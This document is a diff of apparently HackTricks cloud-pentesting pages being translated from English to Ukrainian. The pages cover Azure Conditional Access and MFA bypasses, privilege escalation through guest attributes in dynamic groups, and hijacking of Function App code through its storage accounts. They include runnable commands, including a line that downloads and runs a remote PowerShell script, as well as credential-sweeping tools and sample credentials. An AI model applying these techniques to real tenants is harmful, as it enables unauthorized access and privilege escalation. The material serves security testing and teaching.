- `microsoft.directory/applications/permissions/update`
|
||||
- `microsoft.directory/servicePrincipals/permissions/update`
|
||||
@@ -355,7 +311,3 @@ az rest --method GET \
|
||||
- `microsoft.directory/applications.myOrganization/permissions/update`
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,93 +1,90 @@
|
||||
# Az - Conditional Access Policies & MFA Bypass
|
||||
# Az - Політики умовного доступу та обхід MFA
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain **conditions**. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\
|
||||
Conditional access policies basically **defines** **Who** can access **What** from **Where** and **How**.
|
||||
Політики умовного доступу Azure - це правила, встановлені в Microsoft Azure для забезпечення контролю доступу до служб та додатків Azure на основі певних **умов**. Ці політики допомагають організаціям захистити свої ресурси, застосовуючи правильні контролі доступу за правильних обставин.\
|
||||
Політики умовного доступу в основному **визначають**, **Хто** може отримати доступ до **Чого** з **Де** і **Як**.
|
||||
|
||||
Here are a couple of examples:
|
||||
Ось кілька прикладів:
|
||||
|
||||
1. **Sign-In Risk Policy**: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. For example, if a user's login behavior is unusual compared to their regular pattern, such as logging in from a different country, the system can prompt for additional authentication.
|
||||
2. **Device Compliance Policy**: This policy can restrict access to Azure services only to devices that are compliant with the organization's security standards. For instance, access could be allowed only from devices that have up-to-date antivirus software or are running a certain operating system version.
|
||||
1. **Політика ризику входу**: Цю політику можна налаштувати так, щоб вимагати багатофакторну аутентифікацію (MFA), коли виявляється ризик входу. Наприклад, якщо поведінка входу користувача є незвичною в порівнянні з їх звичайним патерном, наприклад, входом з іншої країни, система може запитати додаткову аутентифікацію.
|
||||
2. **Політика відповідності пристроїв**: Ця політика може обмежити доступ до служб Azure лише для пристроїв, які відповідають стандартам безпеки організації. Наприклад, доступ може бути дозволений лише з пристроїв, які мають актуальне антивірусне програмне забезпечення або працюють на певній версії операційної системи.
|
||||
|
||||
## Conditional Acces Policies Bypasses
|
||||
## Обходи політик умовного доступу
|
||||
|
||||
It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if for example the policy was configuring MFA, the attacker will be able to bypass it.
|
||||
Можливо, що політика умовного доступу **перевіряє деяку інформацію, яку можна легко підробити, що дозволяє обійти політику**. І якщо, наприклад, політика налаштовувала MFA, зловмисник зможе її обійти.
|
||||
|
||||
When configuring a conditional access policy it's needed to indicate the **users** affected and **target resources** (like all cloud apps).
|
||||
При налаштуванні політики умовного доступу потрібно вказати **користувачів**, на яких це вплине, та **цільові ресурси** (наприклад, всі хмарні додатки).
|
||||
|
||||
It's also needed to configure the **conditions** that will **trigger** the policy:
|
||||
Також потрібно налаштувати **умови**, які **активують** політику:
|
||||
|
||||
- **Network**: Ip, IP ranges and geographical locations
|
||||
- Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address
|
||||
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
|
||||
- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms
|
||||
- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
|
||||
- To bypass login with a not selected option
|
||||
- **Filter for devices**: It’s possible to generate a rule related the used device
|
||||
- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer”
|
||||
- This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account
|
||||
- **Мережа**: IP, діапазони IP та географічні локації
|
||||
- Можна обійти, використовуючи VPN або проксі для підключення до країни або зумівши увійти з дозволеної IP-адреси
|
||||
- **Ризики Microsoft**: Ризик користувача, ризик входу, ризик зсередини
|
||||
- **Платформи пристроїв**: Будь-який пристрій або вибрати Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- Якщо не вибрано “Будь-який пристрій”, але всі інші опції вибрані, можна обійти, використовуючи випадковий user-agent, не пов'язаний з цими платформами
|
||||
- **Клієнтські програми**: Опції “Браузер”, “Мобільні програми та настільні клієнти”, “Клієнти Exchange ActiveSync” та “Інші клієнти”
|
||||
- Щоб обійти вхід з не вибраною опцією
|
||||
- **Фільтр для пристроїв**: Можна створити правило, пов'язане з використаним пристроєм
|
||||
- **Потоки аутентифікації**: Опції “Потік коду пристрою” та “Передача аутентифікації”
|
||||
- Це не вплине на зловмисника, якщо він не намагається зловживати будь-яким з цих протоколів у фішинговій спробі отримати доступ до облікового запису жертви
|
||||
|
||||
The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant…
|
||||
Можливі **результати**: Блокувати або надавати доступ з потенційними умовами, такими як вимога MFA, відповідність пристрою…
|
||||
|
||||
### Device Platforms - Device Condition
|
||||
### Платформи пристроїв - Умова пристрою
|
||||
|
||||
It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block:
|
||||
Можна встановити умову на основі **платформи пристрою** (Android, iOS, Windows, macOS...), однак це базується на **user-agent**, тому його легко обійти. Навіть **зробивши всі опції обов'язковими для MFA**, якщо ви використовуєте **user-agent, який не розпізнається,** ви зможете обійти MFA або блокування:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\
|
||||
You can change the user agent **manually** in the developer tools:
|
||||
Просто змусивши браузер **надіслати невідомий user-agent** (наприклад, `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) достатньо, щоб не активувати цю умову.\
|
||||
Ви можете змінити user-agent **вручну** в інструментах розробника:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
 Або використати [розширення браузера, як це](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
### Локації: Країни, діапазони IP - Умова пристрою
|
||||
|
||||
If this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions.
|
||||
Якщо це встановлено в умовній політиці, зловмисник може просто використовувати **VPN** в **дозволеній країні** або спробувати знайти спосіб отримати доступ з **дозволеної IP-адреси**, щоб обійти ці умови.
|
||||
|
||||
### Cloud Apps
|
||||
### Хмарні додатки
|
||||
|
||||
It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**:
|
||||
Можна налаштувати **політики умовного доступу для блокування або примусу**, наприклад, MFA, коли користувач намагається отримати доступ до **конкретного додатку**:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To try to bypass this protection you should see if you can **only into any application**.\
|
||||
The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful.
|
||||
|
||||
In order to **test specific application IDs in specific resources** you could also use a tool such as:
|
||||
Щоб спробувати обійти цю захист, вам слід перевірити, чи можете ви **увійти лише в будь-який додаток**.\
|
||||
Інструмент [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) має **десятки ідентифікаторів додатків, закодованих у програмі** і спробує увійти в них, повідомить вас і навіть надасть токен, якщо вдасться.
|
||||
|
||||
Щоб **перевірити конкретні ідентифікатори додатків у конкретних ресурсах**, ви також можете використовувати інструмент, такий як:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
<token>
|
||||
```
|
||||
|
||||
Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.
|
||||
|
||||
The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained.
|
||||
|
||||
The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.
|
||||
|
||||
## Other Az MFA Bypasses
|
||||
## Інші обходи Az MFA
|
||||
|
||||
### Ring tone
|
||||
### Дзвінок
|
||||
|
||||
One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.
|
||||
Одна з опцій Azure MFA - це **отримати дзвінок на налаштований номер телефону**, де буде запитано користувача **надіслати символ `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail.
|
||||
> Оскільки символи - це просто **тони**, зловмисник може **компрометувати** **голосову пошту** номеру телефону, налаштувати як повідомлення **тон `#`** і потім, коли запитують MFA, переконатися, що **телефон жертви зайнятий** (дзвонячи на нього), щоб дзвінок Azure перенаправлявся на голосову пошту.
|
||||
|
||||
### Compliant Devices
|
||||
### Сумісні пристрої
|
||||
|
||||
Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**.
|
||||
|
||||
Start by registering a **compliant device in Intune**, then **get the PRT** with:
|
||||
Політики часто вимагають сумісний пристрій або MFA, тому **зловмисник може зареєструвати сумісний пристрій**, отримати **PRT** токен і **обійти таким чином MFA**.
|
||||
|
||||
Почніть з реєстрації **сумісного пристрою в Intune**, потім **отримайте PRT** за допомогою:
|
||||
```powershell
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
@@ -97,89 +94,72 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
<token returned>
|
||||
```
|
||||
|
||||
Find more information about this kind of attack in the following page:
|
||||
Знайдіть більше інформації про цей вид атаки на наступній сторінці:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Tooling
|
||||
## Інструменти
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
This script get some user credentials and check if it can login in some applications.
|
||||
Цей скрипт отримує деякі облікові дані користувача та перевіряє, чи може він увійти в деякі програми.
|
||||
|
||||
This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**.
|
||||
Це корисно, щоб перевірити, чи **не потрібно MFA для входу в деякі програми**, які ви можете пізніше зловживати для **ескалації привілеїв**.
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Get all the policies
|
||||
|
||||
Отримати всі політики
|
||||
```bash
|
||||
roadrecon plugin policies
|
||||
```
|
||||
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep is a PowerShell script that attempts to **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected.
|
||||
|
||||
MFASweep - це скрипт PowerShell, який намагається **увійти до різних служб Microsoft, використовуючи наданий набір облікових даних, і спробує визначити, чи увімкнено MFA**. Залежно від того, як налаштовані політики умовного доступу та інші налаштування багатофакторної аутентифікації, деякі протоколи можуть залишитися з однофакторною аутентифікацією. Він також має додаткову перевірку для конфігурацій ADFS і може спробувати увійти до локального сервера ADFS, якщо він виявлений.
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded.
|
||||
Цей інструмент допоміг виявити обходи MFA, а потім зловживати API в кількох виробничих AAD тенантах, де клієнти AAD вважали, що у них є обов'язковий MFA, але аутентифікація на основі ROPC пройшла успішно.
|
||||
|
||||
> [!TIP]
|
||||
> You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force.
|
||||
|
||||
> Вам потрібно мати дозволи для перегляду всіх додатків, щоб мати можливість згенерувати список додатків для брутфорсу.
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
|
||||
./ropci auth bulk -i apps.csv -o results.json
|
||||
```
|
||||
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc..
|
||||
Donkey token - це набір функцій, які допомагають консультантам з безпеки, які потребують перевірки політик умовного доступу, тестів для порталу Microsoft з увімкненим 2FA тощо.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**Test each portal** if it's possible to **login without MFA**:
|
||||
|
||||
**Перевірте кожен портал**, чи можливо **увійти без MFA**:
|
||||
```powershell
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
|
||||
Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested:
|
||||
|
||||
Оскільки **Azure** **портал** **не обмежений**, можливо **зібрати токен з кінцевої точки порталу для доступу до будь-якої служби, виявленої** попереднім виконанням. У цьому випадку було виявлено Sharepoint, і запитується токен для доступу до нього:
|
||||
```powershell
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
|
||||
Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token:
|
||||
|
||||
Припустимо, що токен має дозвіл Sites.Read.All (з Sharepoint), навіть якщо ви не можете отримати доступ до Sharepoint з вебу через MFA, можливо використовувати токен для доступу до файлів згенерованим токеном:
|
||||
```powershell
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,26 +4,25 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**.
|
||||
**Динамічні групи** - це групи, які мають набір **правил**, і всі **користувачі або пристрої**, що відповідають цим правилам, додаються до групи. Кожного разу, коли **атрибут** користувача або пристрою **змінюється**, динамічні правила **перевіряються** знову. І коли **створюється нове правило**, всі пристрої та користувачі **перевіряються**.
|
||||
|
||||
Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups.
|
||||
Динамічним групам можуть бути призначені **ролі Azure RBAC**, але **неможливо** додати **ролі AzureAD** до динамічних груп.
|
||||
|
||||
This feature requires Azure AD premium P1 license.
|
||||
Ця функція вимагає ліцензії Azure AD premium P1.
|
||||
|
||||
## Privesc
|
||||
|
||||
Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes.
|
||||
Зверніть увагу, що за замовчуванням будь-який користувач може запрошувати гостей в Azure AD, тому, якщо правило динамічної групи надає **дозволи** користувачам на основі **атрибутів**, які можуть бути **встановлені** у нового **гостя**, можливо **створити гостя** з цими атрибутами та **ескалювати привілеї**. Також можливо, щоб гість керував своїм власним профілем і змінював ці атрибути.
|
||||
|
||||
Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
|
||||
Отримати групи, які дозволяють динамічне членство: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
|
||||
|
||||
### Example
|
||||
|
||||
- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
|
||||
- **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group
|
||||
|
||||
For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
|
||||
Unfortunately the page doesn't allow to modify the attribute values so we need to use the API:
|
||||
- **Приклад правила**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
|
||||
- **Опис правила**: Будь-який гість з вторинною електронною поштою, що містить рядок 'security', буде доданий до групи
|
||||
|
||||
Для електронної пошти користувача-гостя, прийміть запрошення та перевірте поточні налаштування **цього користувача** в [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
|
||||
На жаль, сторінка не дозволяє змінювати значення атрибутів, тому нам потрібно використовувати API:
|
||||
```powershell
|
||||
# Login with the gust user
|
||||
az login --allow-no-subscriptions
|
||||
@@ -33,22 +32,17 @@ az ad signed-in-user show
|
||||
|
||||
# Update otherMails
|
||||
az rest --method PATCH \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
|
||||
|
||||
# Verify the update
|
||||
az rest --method GET \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--query "otherMails"
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--query "otherMails"
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Function Apps
|
||||
|
||||
Check the following page for more information:
|
||||
Перевірте наступну сторінку для отримання додаткової інформації:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
@@ -12,33 +12,30 @@ Check the following page for more information:
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find **different containers** (custom or with pre-defined names) that might contain **the code executed by the function**.
|
||||
Маючи дозволи на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можна знайти **різні контейнери** (кастомні або з попередньо визначеними іменами), які можуть містити **код, виконуваний функцією**.
|
||||
|
||||
Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function.
|
||||
Якщо ви знайдете, де розташований код функції, і у вас є дозволи на запис, ви можете змусити функцію виконати будь-який код і підвищити привілеї до керованих ідентичностей, прикріплених до функції.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` і `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function.
|
||||
|
||||
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from 
|
||||
Код функції зазвичай зберігається всередині файлового сховища. При достатньому доступі можна змінити файл коду і **змусити функцію завантажити довільний код**, що дозволяє підвищити привілеї до керованих ідентичностей, прикріплених до Функції.
|
||||
|
||||
Цей метод розгортання зазвичай налаштовує параметри **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** і **`WEBSITE_CONTENTSHARE`**, які ви можете отримати з 
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
|
||||
Those configs will contain the **Storage Account Key** that the Function can use to access the code.
|
||||
Ці конфігурації міститимуть **Storage Account Key**, який Функція може використовувати для доступу до коду.
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
> З достатніми правами для підключення до File Share та **модифікації скрипта** можливо виконати довільний код у Функції та підвищити привілеї.
|
||||
|
||||
The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
|
||||
Наступний приклад використовує macOS для підключення до файлового сховища, але рекомендується також перевірити наступну сторінку для отримання додаткової інформації про файлові сховища:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
```bash
|
||||
# Username is the name of the storage account
|
||||
# Password is the Storage Account Key
|
||||
@@ -48,50 +45,46 @@ The following example uses macOS to connect to the file share, but it's recommen
|
||||
|
||||
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
It's also common to find the **zip releases** inside the folder `function-releases` of the Storage Account container that the function app is using in a container **usually called `function-releases`**.
|
||||
|
||||
Usually this deployment method will set the `WEBSITE_RUN_FROM_PACKAGE` config in:
|
||||
Також часто можна знайти **zip релізи** всередині папки `function-releases` контейнера облікового запису зберігання, який використовує функціональний додаток у контейнері **зазвичай називається `function-releases`**.
|
||||
|
||||
Зазвичай цей метод розгортання встановлює конфігурацію `WEBSITE_RUN_FROM_PACKAGE` у:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
|
||||
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||
Ця конфігурація зазвичай міститиме **SAS URL для завантаження** коду з Облікового запису зберігання.
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
> З достатніми правами для підключення до контейнера блобів, який **містить код у zip**, можливо виконати довільний код у Функції та підвищити привілеї.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
Так само, як і в попередньому випадку, якщо розгортання виконується через Github Actions, можливо знайти папку **`github-actions-deploy`** в Обліковому записі зберігання, що містить zip коду та SAS URL до zip у налаштуванні `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function:
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` та `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
З правами на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер **`scm-releases`**. Там можливо знайти останній реліз у **форматі файлу файлової системи Squashfs** і, отже, можливо прочитати код функції:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
--account-name <acc-name> \
|
||||
--output table
|
||||
--account-name <acc-name> \
|
||||
--output table
|
||||
|
||||
# List files inside one container
|
||||
az storage blob list \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--output table
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--output table
|
||||
|
||||
# Download file
|
||||
az storage blob download \
|
||||
--account-name <res-group> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip
|
||||
--account-name <res-group> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip
|
||||
|
||||
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
|
||||
|
||||
@@ -105,12 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
|
||||
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
|
||||
Також можливо знайти **master and functions keys**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **`<app-name>`** в JSON-файлах, які ви можете знайти всередині.
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
|
||||
> З достатніми правами для підключення до контейнера blob, який **містить код у файлі з розширенням zip** (який насправді є **`squashfs`**), можливо виконати довільний код у Функції та підвищити привілеї.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -119,36 +110,30 @@ mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
|
||||
|
||||
# Upload it to the blob storage
|
||||
az storage blob upload \
|
||||
--account-name <storage-account> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip \
|
||||
--overwrite
|
||||
--account-name <storage-account> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip \
|
||||
--overwrite
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/listkeys/action
|
||||
|
||||
This permission allows to list the function, master and system keys, but not the host one, of the specified function with:
|
||||
|
||||
Ця дозволяє перерахувати ключі функцій, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
|
||||
With the master key it's also possible to to get the source code in a URL like:
|
||||
|
||||
З майстер-ключем також можливо отримати вихідний код за URL, як-от:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Access
|
||||
curl "<script-href>?code=<master-key>"
|
||||
## Python example:
|
||||
